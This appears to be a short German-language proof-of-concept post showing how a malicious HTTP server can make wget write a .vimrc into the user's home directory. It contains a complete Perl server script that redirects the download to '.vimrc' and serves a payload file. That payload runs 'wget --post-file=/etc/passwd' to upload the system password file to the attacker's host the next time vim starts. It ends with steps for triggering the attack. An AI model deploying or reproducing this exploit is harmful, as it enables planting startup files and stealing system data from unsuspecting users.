Wget kann Dateien erstellen. Idee: Wir lassen wget eine .vimrc erstellen, die bei dem naechsten vim-Start die Datei /etc/passwd uploadet: (eigentlich alles total trivial)
1 use HTTP::Daemon; 2 use HTTP::Status; 3 my $d = new HTTP::Daemon(LocalPort => 8080, ReuseAddr => 1); 4 print "Please contact me at: <URL:", $d->url, ">\n"; 5 print "Run: wget ", $d->url,"foobar\n"; 6 while (my $c = $d->accept) { 7 while (my $r = $c->get_request) { 8 if ($r->method eq 'GET' and $r->url->path eq "/foobar") { 9 $c->send_redirect(".vimrc"); 10 } 11 if ($r->method eq 'GET' and $r->url->path eq "/.vimrc") { 12 $c->send_file_response("evil"); 13 } 14 if ($r->method eq 'POST' and $r->url->path eq "/passwd") { 15 print "POST-REQ\n"; 16 print $r->content; 17 $c->send_error(); 18 } 19 } 20 $c->close; 21 undef($c); 22 }
Dazu wird noch eine Datei 'evil' benoetigt:
! wget –post-file=/etc/passwd http://localhost:8080/passwd > /dev/null 2>/dev/null
Nun einfach in $HOME ausfuehren:
- wget http://erebos:8080/foobar
- vim

